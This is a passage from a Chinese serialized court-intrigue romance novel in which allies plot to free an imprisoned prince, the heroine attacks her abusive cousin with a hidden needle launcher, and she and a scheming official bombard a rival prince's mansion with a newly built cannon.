困于局限，她只能说：“我们先静观其变，皇后和睿王如今拧成一股绳，我们找不到破绽，但他们这种联合长久不了，总会给我们抓住机会。” 李征彦被停职了。 应该说和他一同参加科举被选拔上来的京官，全部停职了。 那些被派往外地的官员因为政令没那么快达到，倒是免于一劫。 睿王恨不得把他家门子都封个七品官。 李征彦今天接到停职命令，组织一批学子，计划明天一起去见皇上。 可以现场考核，如果他们确实不能胜任本职工作再行惩处。 他和众学子制定完计划，赶到端王府寻找朝栎公主。 自然要把计划说给朝栎听。 朝栎还是比较欣慰的。 李征彦有勇有谋，如果能证明他们这些人确有才学，那就证明二哥任命他们没错。 “征彦，你做的不错，谢谢你。” 李征彦心仪朝栎公主，两人成亲当日便圆房了。 他身为公主的驸马，肯定要多为公主考虑。 “公主放心，我一定会想办法证明秦王的清白。” 孙卿兆很快来到端王府，还带来了姚麟。 姚麟被姚太傅不喜，姚太傅恢复官职第一件事便是停了儿子的职。 他今天去找孙卿兆商议。 自己被停职倒无所谓，可周川行对他有知遇之恩，无论如何，他都要想办法把人救出来。 “孙大哥——” 唐兮暖看见孙卿兆有些激动。 她相信，别人没有办法，孙卿兆肯定能想到救出二郎的办法。 这句孙大哥把孙卿兆喊迷糊了，“你……喊我什么？” 唐兮暖此刻身着女装。 她人长得美，男装时是清俊的贵公子，换回女儿装，便是娇美的神妃仙子下凡。 唐兮暖在他面前转了一圈，“你好好看看，我是谁？” 孙卿兆盯着唐兮暖仔仔细细打量一会，眼前一亮，“你是……寒兮？” 看见唐兮暖点头，满脸震惊，“你竟然是女子，都怪我眼拙，竟然没认出来。 秦王也太过分了，他把你留在身边又不肯名正言顺娶回家…… 不行，我还要进宫参他。” 端王听不得这种话，“孙大人不是已经参过了吗，怎么看我二哥被陷害的不够深，还要再踩上一脚。 我警告你，我二哥犯再大错，那也是龙子龙孙，由不得你放肆。” 姚麟明白端王话里意思。 主动解释道：“端王误会孙大人了。” 端王不屑，“小人一个，我误会他什么！” 楚衍晴示意他好好说t话。 关键时刻，端王还是很听媳妇话的，老老实实闭上嘴。 姚麟这才继续开口：“孙大人弹劾秦王诛杀太师一党，诛杀晚了，应该在刚回朝的时候就定太师的罪。 如果早些诛杀太师，左丞相炮制的江南谋反案就不会成功。 也就不会有那么多人枉死。” 端王皱眉：“是吗？” 姚麟点头：“王爷不信可以进宫去看折子。” 朝栎紧张道：“那我皇兄什么反应？” 孙卿兆如实回道：“没什么反应，就是训斥微臣卑鄙。” 端王纳闷道：“不对啊，皇兄并没停你的职！” 孙卿兆笑道：“皇上心里赞同微臣的行为，怎么会停微臣的职，就算是秦王，皇上也没责备他什么。” 楚衍晴第一个反应过来，“所以皇上其实并没怪二哥擅杀太师，不过碍于皇后做做样子。” 孙卿兆：“要不是皇后诬陷秦王害死贤妃，秦王根本不会被停职。他们的手段还真够高明的，知道皇上哪疼哪痒，专往命脉上刺。” 唐兮暖一直都认为孙卿兆很聪明，关键时刻，他能拿出大家都想不到的办法。 “孙大哥，你快告诉我，二郎现在怎么样了？我们怎么才能救出他？” 孙卿兆没回答唐兮暖的问题，他还有疑惑没解。 “寒老弟，你真实的身份是什么？我昨天听人说起王太师背后还中了一道暗器……” 他早前留意过寒兮腰上挂的迷你暗器。 此刻两下一联系，怀疑其中有什么关联。 唐兮暖倒也没想瞒他，反正大仇算是报了一大半。 “先父是十四年前被判谋逆的唐御史，我们一家获罪后，我被送到武安侯府抚养，端王妃是我表妹。” 孙卿兆明白了，“你就是楚世子一直要找的表妹，我说呢。” 很多人对女子心存偏见，以前孙卿兆还指责过楚衍晴女子误国。 唐兮暖忍不住担心，“怎么我是女子，你就不帮我了吗？我还是罪人之后，你要和我划清界限么？” 孙卿兆知恩图报，唐兮暖对他有再造之恩，他必当竭尽全力辅佐。 “寒老弟……” 对着一个漂亮姑娘喊老弟有点拗口，“严重了，不管你是男是女，是清白之身，还是罪人之后，都是我的好兄……弟。” 唐兮暖就知道自己没看错人。 “那你快说，怎么才能救二郎？” 孙卿兆刚从户部出来，脸色有些难看，“睿王要为太师正名，由大理寺和刑部、端王共同为唐家平反的案子，已经被睿王否了，唐家仍然犯有谋逆罪。” 他刚才不知道寒兮就是唐兮暖，听了一耳朵也没当回事。 这会才觉察出不对来。 睿王实在是，欺人太甚！ 唐兮暖好不容易为一家平反，诏令还没发出去，就被睿王搅乱。 她早晚要杀死睿王和皇后，让他们得到报应。 “表姐，”楚衍晴心疼唐兮暖，看她身形虚晃，急忙扶住，“老天有眼，一定不会让睿王蹦跶太久的，你别担心，舅舅一家肯定会被平反的。” 反正太师已死，唐兮暖报仇也没那么急切了。 她现在最关心的还是二郎。 “孙大哥，你快说，到底有没有办法救二郎？” 孙卿兆已经考虑过了，“办法倒是有，不过我想先听听几位都什么想法，接下来有什么计划？” 他指的是端王、驸马、公主和楚衍晴端王妃。 唐兮暖都记得，“义兄想要组织所有学子去找皇上，证明他们确有才学……” 第88章 每个人的想法,唐兮暖都记得很清楚。 “义兄想要组织所有学子去找皇上，证明他们确有才学；表妹觉得二郎能够自救，我们最好静观其变；公主和端王暂时还没打算,孙大哥，你的想法是什么？” 孙卿兆沉吟道：“组织学子找皇上这事，可行,但暂不可行。” 李征彦心生诧异：“为什么？” 孙卿兆分析：“这一来皇上身体不好，你们不一定能见到皇上，有睿王在，传到皇上耳朵不一定成什么样子，到时候给你们定一个结党谋反，不光这些学子会遭到迫害，对秦王来说有害无益。” 李征彦只想尽一点绵薄之力，计划不够完美。 他有些紧张地看一眼朝栎，生怕公主不喜，随后问孙卿兆,“那我们怎么办？” 孙卿兆：“端王妃的想法很好，静观其变。” 端王不同意：“那不是坐以待毙？谁知道老四这几天会憋什么坏水。” 孙卿兆请端王稍安勿躁,“端王,静观其变的意思是，我们要让他们自乱阵脚,而不是什么都不做。” 端王烦躁道：“别卖关子，你有什么想法尽管是说。” 孙卿兆：“第一秦王擅杀太师,这事抵赖不掉，将太师违法犯罪的证据都保护好，只要这些证据在，秦王就可以是为民请命,杀他无错。 第二，姚太傅和楚世子被关私牢，尽快找到两人违法犯罪……” 关键时刻，楚衍晴还是偏向哥哥的，“孙大人，楚世子是我兄长，他并无违法。” 孙卿兆懂了，“尽快找到姚太傅违法犯罪的证据，姚太傅身居高位，王爷动用私刑，于理不合……” 唐兮暖纠正道：“她是我背着王爷关进去的，为了调查我家冤案。” 孙卿兆又懂了，“抓紧补一份审查流程，至于楚世子，只要他不提告，这事皇上肯定不会追究，端王妃应该能说服楚世子吧？” 楚衍晴点头：“我能。” 孙卿兆：“至于罢相，相信王爷那里都有证据，这个不用担心。 现在最重要的是解决贤妃被害一事。 如果不是秦王做的，那就是皇后做的。 不管是谁做的，都一定会留下线索，烦请朝栎公主回宫住一段时间，将这事调查清楚。” 李征彦不放心，“被皇后知道，朝栎会有危险。” 朝栎公主不怕危险，“这事交给我，一定会查个水落石出。” 楚衍晴毫不犹豫道：“我跟公主一起进宫，相互之间好有个照应。” 如今已经到了你死我亡的地步，不光参与者深陷其中，连亲人都被拖下水。 谁敢不努力！ 孙卿兆知道楚衍晴有勇有谋，有她跟着，事半功倍。 “如此，甚好。” 他继续：“还有两位美人，她们一口咬定王爷和她们有私，找到皇后威胁他们的把柄，想办法让她们反口。” 端王主动道：“这事交给我，我有办法。” 姚麟趁机说道：“姚太傅那边，我已经想到办法。” 父亲不认他这个青楼女子生的儿子，嫌弃他的血液肮脏，从小到大一直被磋磨就算了，父亲官复原职第一件事便是把他赶出朝堂。 他不求继承姚家祖业，只求依靠自己的能力把生活过的富足一些，让母亲享福。 可父亲连这点生路都要给他掐断。 他不怕鱼死网破。 孙卿兆嘱咐道：“拿住敌人当然重要，但不是最重要，如何在拿住敌人的同时保全自己，这才最重要。” 他希望姚麟不要极端，报复姚太傅后还能让自己官运亨通过上好日子。 姚麟自然能听懂他的提醒。 抱拳以示谢意。 孙卿兆回到正题，“两位美人诬陷秦王的事，不急，让陶罐等人去做就可，王爷还有最重要的事。” 端王皱眉，“你让我做什么？” 孙卿兆不止有算学天赋，还有惊世治世之才。 这个时候正好派上用场。 “王爷，你这个时候应该去争……” “争什么？”孙卿兆话说一半，端王实在理解不了。 接下来的话有些大逆不道，孙卿兆在众人注视下犹豫半晌才说出口，“皇太弟。” 端王：“……” 满屋哗然。 端王从来没想过这个问题。 他了解自己，就不是当皇上的料。 “孙卿兆，你大胆，竟然大放厥词，说这种大逆不道的言论，不想活了！” 孙卿兆一副无所谓的神态，“睿王都能争，三殿下为什么不能？ 说起来，你还是皇上一母同胞的亲弟弟，比四殿下更有优势，为什么不能争？” 端王从小依靠父母，后来父亲过世，他依赖皇上。 皇上病后，二哥还朝，他依赖二哥，仿佛脊梁没有发育完整，二哥一出事，他心慌意乱，仿佛没了主心骨，根本挺不起来。 让他当皇上，完全是异想天开。 楚衍晴悄悄握住他的手指，“不管你做什么，我都支持你。” 朝栎也道：“就算二哥做不了皇上，那也不能让给四哥，三哥才是大哥的亲弟弟，为什么不行！” 端王还是挺不起脊背。 孙卿兆倒也不是真让他去争。 “王爷，您不想做皇上t，微臣能理解，微臣也不是真的要您去争，只要做出样子就可以了。” 端王松了口气，“直说。” 孙卿兆：“现在睿王和皇后拧成一股绳，但我觉得皇后是不屑于睿王为人的，这个时候您主动出击，拉拢过皇后，只要得到她的支持，哪怕得不到，只要让睿王引起警觉，拆开他们这股绳，那我们就有机会了。” 楚衍晴认同孙卿兆所言，“正好你之前和二哥吵过架，皇后认定你们兄弟不和，如今向她表示你有争夺储位的野心，她肯定会信。” 兄弟不睦，是周川行早就设计好的。 端王不得不服，“还是二哥看得远。” 接下来孙卿兆又讲了很多谋划。 可以说每一条都很实用。 且每个人都领到了自己的任务，只要顺利执行，都能按照预想完成计划。 唐兮暖看到大家都有事情做，难免着急。 “孙大哥，我呢？我做什么？” 孙卿兆还有自己的小九九：“我明天还要上折子弹劾秦王始乱终弃，薄情寡义，朝三暮四，背信弃义……” “停停停，”唐兮暖急道，“二郎本来就出不来，你再弹劾他，皇上更生气了。” 孙卿兆认真道：“你就说你喜不喜欢秦王，想不想嫁给他？” 只要唐兮暖想，他就有办法。 原来他一直以为唐兮暖是男子，他都愿意想办法让摄政王合情合理娶个男王妃。 如今知道唐兮暖是女子，难度降低的可不是一点半点，他不信想不到办法。 唐兮暖当然是想的，可现在时机不对。 “二郎还在宫里受苦……” “那就是愿意的，”孙卿兆笃定道，“别急，容我想想。” 唐兮暖无语道：“你能不能先把人救出来！” 孙卿兆早有谋划，“你现在什么想法？” 唐兮暖天赋都在算学上，让她处理人情世故，参与朝政，把犯了死罪的人从皇上手里捞出来，她可没那本事。 不过她也不是一点办法没有。 “军器局前段时间研究出一种武器，能发射火药，炸平整个皇宫。” 李征彦和楚衍晴几乎异口同声。 “小妹，这可使不得。” “表姐，千万不可。” 炸平皇宫可比造反严重多了。 “表姐，咱还没到山穷水尽的地步，炸皇宫，这不得灭九族。” 到时候楚家都逃脱不掉。 再说，炸皇宫可救不出周川行。 唐兮暖倒不在乎灭门，哥哥还以别人的身份生活。 唐家只剩下她一个孤女。 她就是满门。 死就死了。 孙卿兆也觉得有点冒进，“炸皇宫是有点过，不过你可以炸睿王府。” 唐家平反被睿王阻止，唐兮暖刚把睿王列入仇敌阵营。 炸睿王府正合她意：“炸了睿王府二郎就能出来？” 端王一直不喜欢孙卿兆，出的主意越来越馊，“孙卿兆，你够了，睿王府怎么能炸，老四本来就生气寒兮骗他五十万两银子，再炸了睿王府，他肯定派人全程抓捕唐姑娘，到时候我们怎么和二哥交代。” 孙卿兆还有别的筹谋。 “祸不怕闯，就怕闯的小，寒老弟……不是，唐老妹……” 怎么称呼都不对劲，“反正你别怕，有我给你出谋划策，这个秦王妃你是当定了。” 四十万大军的兵权可在秦王手里。 念着兄弟情义，秦王受制于那些宵小，老老实实被囚禁在宫里。 那是没人触及到他的底线。 但凡触及到底线，英雄一怒，立刻就能黄袍加身。 一个秦王妃算什么，那时，一定想办法让周川行封她为后。 不过撺掇皇弟谋嫡是重罪，他只在心里谋划，以待时机。 唐兮暖心思干净，她哪里知道孙卿兆到底在谋划什么。 反正只要能救出二郎，她什么事都敢做。 这屋里所有人都加一起，也没有孙卿兆一个人心眼子多。 自然没人猜出他的最终目的。 会议到此基本接近尾声，孙卿兆又补充几点，众人紧记，之后准备分开行动。 楚衍晴要陪公主进宫。 李征彦不放心唐兮暖一个人留在端王府。 “小妹，你还是跟我回去吧，爹娘给你准备了闺房还没住，正好趁这个机会住段日子，也不枉费他们操心一回。” 唐兮暖更想回秦王府，可秦王府被封，她凭周川行的牌子都进不去。 不由得看向楚衍晴。 楚衍晴稍一迟疑，点了点头。 睿王和皇后几乎把周川行任命的所有官员都停了职。 可皇后最恨的还是几个审判官。 李策、刑部尚书和端王。 端王是皇上亲弟，她动不了，刑部尚书已经下狱。 皇后还想把李策下狱的，不过他是皇上一手提拔上来的，有名的公平公正、铁面无私，大周朝的李青天，皇上不过申斥一顿。 再者，李征彦又是驸马。 皇上念着公主的情面，但凡不糊涂，也不可能动李家。 唐兮暖去李家，是目前最好的选择。 “表姐，去李府也好，我不在家，没人陪你，去了李府，有李夫人在，总比在别处安全些。” “去什么李家，跟我回去。”唐兮暖正要点头，楚衍诺忽然闯进屋，他气势汹汹走到唐兮暖身边，抓住她的手腕就往外走。 “侯府才是你的家，周川行他自顾不暇，根本管不了你，跟我回侯府才是最好的选择。” 唐兮暖怎么可能跟他回去，“表哥，你松开我，这是我自己的事，我不会跟你回去的，我还要救二郎出来。” 楚衍诺在地牢里关太久，天寒地冻全凭他一身钢筋铁骨撑着。 出了大牢就病倒了。 今天身体还没好，他是撑着病体赶过来的。 “暖暖，听话，表哥才是这个世上最疼你的人，他们只会害你。” 第89章 唐兮暖说什么都不肯走。 这一刻的楚衍诺也是伤心至极。 一手养大的表妹,不体谅他就罢了，把他关进暗无天日的私牢三个月，他不曾埋怨半句,撑着病体能下床便赶过来找她，这份情谊还不够吗！ “暖暖，在你心里,我们十四年的情谊，不如你和你周川行只认识几个月的情谊重？” 他捂着心口，那里比王太师后心被暗器重击还要疼痛。 “从小到大，你要什么我没给你？ 你哪次生病不是我日夜不眠的守着你？ 你想做什么，我没依着你？ 你怎么能如此伤我的心！” 唐兮暖不过最近半年才学着处理人情世故。 她就算智商高，是算学天才，可也不能一下处理好如此复杂的人际关系。 表哥说的都是事实，可她心里明白那样不对，却偏偏不知道如何辩驳。 “你……你说你对我好，为什么我想和二郎在一起,你不能成全？” 她大脑飞速运转，最终只找到这么一条还击表哥的言辞。 楚衍诺伸手去抓她,眼神里闪过一丝痛楚,“不是表哥不能成全，你已经跟了我,就是我的女人，世上没有任何男人能接受一个失真……” “大哥,”楚衍晴生气了，“你胡说什么，她是我们的亲人，不是仇人！” 表姐非清白之身,如此隐私的事情，她不想被外人知道。 楚衍诺怒极反笑，“所以你也知道女人的贞洁有多重要？她心智有问题，你也心智有问题吗？还纵容她逃出侯府！” “大哥——” 楚衍诺已经失去理智，楚衍晴想把人推走。 楚衍诺怎么可能离开，他使劲把人推开，只管去拉唐兮暖。 “表妹，没有任何一个男人能接受失真的女人，何况还是周川行，他不会珍惜你的。 跟我走，只有我才会好好待你。” 从楚衍诺的言语和众人的神情中，唐兮暖忽然意识到她失去一件很重要的东西。 可这东西是什么，她实在无法分辨清楚。 “表哥，你说明白。” 楚衍诺完全豁出去了。 “你觉得我娶妻生子背叛了你，他周川行就会娶你做正妃吗？ 他可是战功赫赫摄政的亲爷，将来三宫六院不知道多少女人，就你这心智，到时候不知道会被多少人欺负，别说护着，让他站出来为你说句话都难……” “楚世子，”端王念着楚衍晴的面子，多有顾忌，即使如此都听不下去了，“你不能专心对唐姑娘，那是你，我二哥说过，他这辈子只娶一个王妃，唐姑娘的以后自有我二哥护着！” 这话把楚衍诺气笑了，“他护着？他如今连自己都护不了，他像只狗一样被铁链子拴在养心殿门口……” 啪—— 这t是唐兮暖第一次动手打人。 还是朝夕相处十四年的表哥。 “楚衍诺，从现在开始，你再也不是我的表哥，来人送客。” 连翘和百合早忍不住怒火，听到唐兮暖命令，立刻抽出腰中利剑。 剑锋出窍，寒气森森。 “楚世子，再对唐姑娘不敬，今天别想活着离开端王府。” 唐兮暖气得手指颤抖，双眼通红，噙着眼泪马上就要流下来，可她死咬着嘴唇，努力控制着自己不要疯掉。 她的二郎才不是狗。 “你打我……”楚衍诺捂着心口，脸上再痛，也比上心口痛。 表妹连表哥都不叫了，竟然直呼他名字，“我是不是你表哥，呵，因为我是你男人，你从十六岁就跟了我，你身上每一块胎记我都知道。 我是你第一个男人，我们早就发生关系了。 我的好表妹，要不要我帮你回忆一下，有哪一次不是你主动的…… 周川行他知道你不是清白之身吗？他知道我们一共睡了……” 唐兮暖彻底被楚衍诺逼疯了。 她快速解下腰上武器，瞄着楚衍诺毫不犹豫扣动机关。 一枚比利箭还要迅猛的钢针忽然打出去。 直奔楚衍诺的心口。 楚衍诺在桃花坡见过暗器的厉害，表妹动了杀心，好在他会武功反应迅速，饶是如此，那钢针仍然擦着他袖边穿过。 唐兮暖不会武功反应慢，给了楚衍诺反应时间。 不过接下来，她连续发射，直到武器里的十一枚钢针全部打出去。 屋里人多，楚衍诺身形又快，再加唐兮暖气急，手抖不稳，虽然连续发射十一枚，但是没有一枚打到楚衍诺身上。 唐兮暖越发生气：“紫苏、连翘、黄芪、百合，给我杀了楚衍诺。” 楚衍诺一对二尚且不敌，何况四人同时出手，他又在病中，心知今天无论如何是带不走表妹了，只能暂时离开。 百合和连翘恋战，眼看着他要跑，皆是紧追不放。 楚衍晴到底心疼哥哥，冲两人喊道：“百合、连翘两位姑娘快回来，还有差事要做。” 连翘和百合只能返回来。 唐兮暖气还没消，“连翘，江湖上是不是有那种悬赏，可以帮雇主杀人的？” 楚衍晴急忙阻拦，“表姐——” 唐兮暖终是饶过他一命，“帮我发布出去，谁能戳他一个血窟窿，赏一百两银子，戳多少个赏多少银子。” 可以不要他命，但绝对不能让他好过。 连翘干脆利落道：“姑娘放心，保证戳他百八十个血窟窿。” 最终唐兮暖留在端王府。 她实在太累了，哪都不想去。 孙卿兆离开的时候，安慰唐兮暖，“你别怕，别说只是失贞，就是有孩子，我也能帮你做上王妃。” 唐兮暖那么好的姑娘，做秦王妃水到渠成，根本轮不到他发挥。 有了难度，才能显出他的本事。 唐兮暖已经不想嫁给周川行了。 原来和别的男人发生关系就是失真，是不洁，他值得更好的。 “不用了，”小姑娘的声音里充满了柔弱和无力感，听得人心口生疼，“把二郎救出来就算帮我了。” 孙卿兆没再说什么，“你先休息，明天我来找你。” 注定是一个不太好入眠的夜，唐兮暖躺在床上，双眼空空的望着房顶。 表哥明知道清白对一个女孩子有多重要，可还是在她什么都不懂的情况下和她发生关系。 如今却来指责她失贞，没有男人肯要。 …… 如果父母没有被人害死，她从小在父母身边长大，肯定不会活得稀里糊涂，像个傻子。 如今还想拿这种事逼迫她回去，她就算嫁不出去，也不会让他如意。 第二天，唐兮暖一大早赶到军器局，找到刘大使。 前段时间刘大使研制出发射火药的大炮，称为红衣大炮。 射程能达到一公里。 她亲眼见过红衣大炮的威力，顷刻间就能把一座小山夷为平地。 “刘大使，你一共造出来几个？” 刘大使如实回道：“三个。” 唐兮暖心思简单，想不了太多事情。 唯二惦记的两件事，其一是去北域任职的哥哥，一个便是被困在宫里的二郎。 北域位处边疆，哥哥需要安置好十万流民，她听过二郎的担忧，随时都可能有人闹事。 十万流民变成十万暴民，很快便可攻下附近很多城池。 她二哥差事做的还不错，到入冬为止，百姓衣食住行皆安排妥当。 可就怕有人存了坏心思，想尽办法找事。 “都好用吗？” 刘大使拍着胸脯道：“寒公子放心，绝对好用，都实验过的。” 唐兮暖转身问紫苏：“有办法弄去北域吗？” 运两个铁疙瘩去北域，还是很容易的。 紫苏笑道：“王爷虽然关在宫里，可他手下的人都不是吃素的，几个铁疙瘩而已，随时都可以运走。” 唐兮暖又问刘大使：“我弄走，会给你添麻烦吗？” 刘大使有些为难，不过他和唐兮暖一见如故。 红衣大炮之所以这么快造出来，还有一部分唐兮暖的功劳。 “这三枚大炮，只有一枚做了记录，另外两枚还没向上边汇报，而且他们不相信大炮的威力，除了秦王，没人放在心上。” 唐兮暖高兴了：“那就运两个去北域。” 她把使用方法画成图纸和大炮放在一起，让紫苏立刻联系人脉，即刻运往北域。 唐兮暖送走两枚大炮，打算离开军器局，却被孙卿兆拦在门口。 “唐妹，”孙卿兆问道，“大炮呢？” 唐兮暖为难道：“红衣大炮有记录，二郎不是摄政王了，刘大使为难。” 私自运走有记录的武器，追究起来连累满门。 孙卿兆自有应对之策。 他把刘大使拉到旁边耳语几句，刘大使忽然变得特别激动。 “孙大人，你想把大炮运到哪？” 孙卿兆看向唐兮暖。 唐兮暖计算过的，“东街姚太傅家门口，射程正好覆盖睿王府。” “那就姚府门口。”孙卿兆生怕祸事小了，不够震动。 关键时刻，唐兮暖反倒小心起来，“会不会给二郎添麻烦？” 孙卿兆让她尽管放心，“我还能害你吗，听我的，保证秦王很快出来。” 唐兮暖已经四天没见到周川行。 偏偏皇上停了他所有待遇，连他的腰牌都不好使了。 听说炮轰睿王府，二郎就能出来，唐兮暖正好有仇要报，“立刻准备。” 一个时辰后，红衣大炮被推到姚太傅家门口，炮口正对准睿王府。 填上火药。 唐兮暖举着火把，做好随时点燃的准备。 红衣大炮是刚研制出来的新鲜玩意，没什么人见识过它的威力。 它往姚太傅家门口一停，很多百姓看着新鲜，赶过来凑热闹。 “这什么东西？” “好看起来好奇怪。” “像个铁疙瘩，又重又笨，磨豆腐的？” “石磨怎么可能长这样，我看像大型烟花筒，马上就过年了，肯定是朝廷研究出来庆贺的新年的。” ……—— 作者有话说： 第90章 睿王的右眼皮从今早开始一直跳不停。 总觉得要有大事发生。 听说朝栎住回宫里,担心她要帮周川行查清真相，找皇后和太妃商议，务必管好两位美人和贤妃家人的嘴。 睿王的亲舅舅姚岳海新任户部尚书上任了。 大字不识几个,整天泡在青楼楚馆的混混。 忽然做上户部尚书，恨不得把国库当成自家的，只管往回搂银子。 三天不到,周川行攒的那些家底，被他装回去一半。 连睿王都看不下去了。 “舅舅，你能不能悠着点，光往家里搂银子，那帐也得好好做做，你太过分了，我没法挡众人的眼。” 姚岳海大手一挥：“我这还不是为了给你铺路，否则我要那么多银子干什么。” 他没告诉自己的好外甥，昨天他一口气买回去十个美人，花了三十万两银子。 周川行如果听说他好不容易攒下的银子,被姚岳海如此祸祸，能气抽过去。 睿王平时是个老好人,到处买人缘,忽然摄政，也不好对自己人要求太过。 明知道舅舅过分,也只能忍着。 中午过来给皇上请安，看见周川行戴着铁链站在门口值班,免不得赶过去嘲笑几句。 这么冷的天，周川行只穿了一层薄薄的麻布内衣。 领口扯开，露出大片光裸的肌肤。 睿王将衣领往上提提，哈着气说：“二哥,t冷不冷啊？要不小弟把衣服给你吧，这大雪冰天的，把二哥冻坏了，做弟弟的该心疼了。” 周川行像棵挺拔的青松，对于睿王的挑衅，面色冷静，目光如炬，没给出半点生气或不忿的反应。 睿王嘲讽半天，周川行都没反应，实在无聊。 他拍拍周川行的肩膀，斯哈一声，“好冷，小弟我就先进屋了。” 周川行已经在养心殿门口坚守四天。 衣服一天比一天给的少。 今天还有一件内衣，明天大概要光着了。 他不在乎自己，反正他一身钢筋贴骨，抗造。 心疼的是他好不容易提拔起来的能人志士全被睿王换掉。 那是他费了多少心血才发现的。 未来大周朝还要靠他们繁荣。 如今全被换下，大周朝的明天何去何从！ 好在端王和楚衍晴成亲，楚三小姐聪敏睿智，不管将来谁做了皇上，足能自保。 小妹嫁进李家，李家家风正，李策又是个刚正不阿的正臣，李征彦人品纯良，定会照顾好妹妹一生一世。 他唯一放不下的只有小姑娘。 好几天没见他，不知道急成什么样。 她虽然逐渐融入正常人的生活，可到底接触外边世界的时间尚短，没有他护着，她怎么保全自己。 都怪他没考虑周全，没给她做好全身而退的计划。 睿王见完皇上，出来继续刺激周川行。 “二哥，你那个男宠到底藏哪了？我还真挺好奇的，本王……本摄政王全城搜捕，竟然没抓到。 二哥，你说他现在是不是早已经背叛你，逃出京城了。 没准已经有了新欢。 这么一想，二哥你是不是很遗憾？” “四哥，做事别太过，小心反噬。” 朝栎和楚衍晴一起来见皇上。 朝栎见不得四哥小人得志，忍不住出言讥讽。 睿王还不想惹朝栎，毕竟是皇上唯一的妹妹。 目光落在楚衍晴身上，眼里流露出几分玩味。 “没想到三嫂这么漂亮，看得小弟心跳都比往常激烈了。” 他听说过周川行和端王争夺楚衍晴的八卦。 故意当着周川行的面言语轻佻，想要激怒对方，让皇上加重处罚。 楚衍晴先看了一眼周川行，之后才开口，“睿王殿下，我可是你皇嫂，就算你对我有意，你也没办法从端王手中抢走我。” 睿王总觉得楚衍晴这话大有深意。 会不会看他开始摄政对他芳心暗许了？ 他已经和皇后暗通曲款，如果能要了二嫂三嫂，他这辈子也算是圆满了。 “三嫂，小弟没听懂呢，我怎么才能从三哥手中把你抢走？” 楚衍晴不屑道：“等你当上皇上再说吧。” 语毕她拉着朝栎进殿，“走了。” 睿王故意刺激周川行，“看了吗？我的好二哥，你喜欢的女人已经开始向我递出橄榄枝了。” 周川行一眼看出楚衍晴的心思。 分明在刺激他不要坐以待毙。 他和皇上一母同胞，曾经发过誓不管发生什么，都要护住皇兄的万里江山。 他绝对不会背叛自己的誓言。 擅杀太师，确实是他违抗圣旨，受再重的惩罚都是应该的。 “轰——” 远处忽然传来一声翻天覆地的巨响，随后有股巨大的浓烟慢慢升空。 很快嗅到一股浓烈的火药味。 周川行皱眉，看样子是红衣大炮发射了。 难道是刘大使在军器局实验？ 可红衣大炮威力太大，之前实验都是拉到城外做的。 要么就是四弟摄政后，派人去军器局没弄清楚红衣大炮的威力，误点。 不过看着冒烟的地方怎么像睿王府…… “咚——” “咚——” “咚咚咚——” 今天还真够热闹的。 红衣大炮的声音刚停下不久，登闻鼓忽然响起来。 自从皇上登基以来，登闻鼓响起的次数屈指可数。 皇上刚听到炮声正在心悸外边发生了什么，又听到鼓声，纳闷道：“什么人敲鼓，带进来。” 敲鼓的不是别人，正是从昨晚开始被全江湖人士戳血窟窿的楚衍诺。 今天中午他险些丧命，一路逃进户部，正好和出门的孙卿兆碰个正着。 “孙卿兆，我表妹你可看见？” 孙卿兆眼珠一转，计从心来。 “楚世子想找表妹难，不过下官倒有一计。” 楚衍诺皱眉：“什么办法？” 孙卿兆：“唐姑娘认定秦王，你即使逼着唐姑娘回去，她心也不在你那。” 楚衍诺知道孙卿兆心机深，担心他出什么馊主意，却又忍不住好奇心想听。 “那你有什么办法？” 孙卿兆心里暗笑：“告御状啊，只要逼着秦王同意唐姑娘离开，唐姑娘被放弃肯定心生怨恨，再也不相信秦王，那时唐姑娘不回楚家又能去哪。” 主意有点馊，可楚衍诺实在没办法了。 “容我想想。” 楚衍诺冥思苦想两个时辰的结果便是敲响登闻鼓。 皇上清醒后，一天比一天热闹。 这登闻鼓都有人敲了。 他也好奇到底出了什么天大冤情。 “睿王，你主审，朕听听。” 楚衍诺很快被带到养心殿。 在门口看见戴着铁链的周川行，忍不住骂道：“呸——卑鄙无耻忘恩负义的小人。” 他爹可救过周川行、周川谨和朝栎三个人的命。 周川行竟然抢他女人，可不是忘恩负义。 难怪他户部侍郎当的好好地，周川行要把他派北域去。 这是故意分开他和表妹，好乘虚而入。 甚至好心的撮合他和魏国公联姻。 当时还以为周川行知恩图报，有意提拔他。 如今细想，周川行竟然处处给他挖坑。 甚至他和魏敏娴的婚期都是周川行定的。 否则他怎么会那么快把人娶回家。 奇耻大辱啊！ 奇耻大辱！！！ 楚衍诺敲鼓，周川行很容易想联想到此事和自己有关。 他不在乎楚衍诺再踩他一脚，担心的是小姑娘。 到底忍不住，他踏进养心殿，却被皇上第一时间制止。 “那个畜生，你给我站外边去！” 周川行只能安安静静退出去。 好在楚衍诺声音够大，每个字他都能听得清清楚楚。 “皇上，微臣状告秦王。” 皇上心有疑虑，楚家是周川行的救命恩人，这两个人怎么会出现龃龉。 “你告他什么？” 楚衍诺：“微臣告他囚禁幼女，并进行惨无人道的虐待。” 这话把皇上听笑了。 他看向门外，“滚进来，让朕看看你到底还有多少惊喜等着朕。” 周川行恨不得揭了楚衍诺的皮。 他一双眸子沉如水冽如冰，投向楚衍诺。 楚衍诺身为侯府世子，自问算是见过世面，可面对他一双冷眼，竟也会不自觉心寒。 可他不能退缩。 “表妹她心智有问题，你身为王爷怎么能囚禁她。” 接下来他向皇上陈诉诉求。 末了道：“求皇上为微臣做主，命令秦王放了表妹。” 皇上知道唐家姑娘。 “当年唐御史送你们楚家抚养的小女儿？” 楚衍诺：“是。” 皇上朝周川行摆摆手，示意他走近些。 “你跟朕说说，你到底喜欢男人还是女人？怎么睿王告你养男宠，楚世子又告你强抢民女。” 周川行无话可说。 “唐姑娘来去自如，楚世子告我毫无道理。” 皇上越发好奇：“唐家姑娘怎么会住进你秦王府，她确实心智有问题？” 睿王大脑飞速运转。 不是说二哥和三哥都喜欢楚衍晴吗，怎么又和唐姑娘扯上关系了。 对了，他被寒兮骗走五十万两白银的时候去秦王府讨公道。 当时二哥身边跟着一个黄衣蒙面女子，想来就是楚衍诺的表妹了。 难道二哥喜欢的是唐家那个傻子？ “皇上，不好了，出事了。” 喜公公忽然踉踉跄跄闯进养心殿。 睿王正找不到表现的机会，绷着脸训斥道：“毛毛躁躁的干什么，天还能塌了！” 喜公公哭丧着脸，说道：“大周的天是塌不了，可睿王府的天塌了。” 睿王一惊，从椅子上弹起来，“你说什么？” 喜公公：“睿王您还是回去看看把，有人炮轰睿王府，这会啊，大概夷为平地了。” 睿王怎么能相信，他早晨离家的时候还好好的。 不过大半天没回去，家没了？ 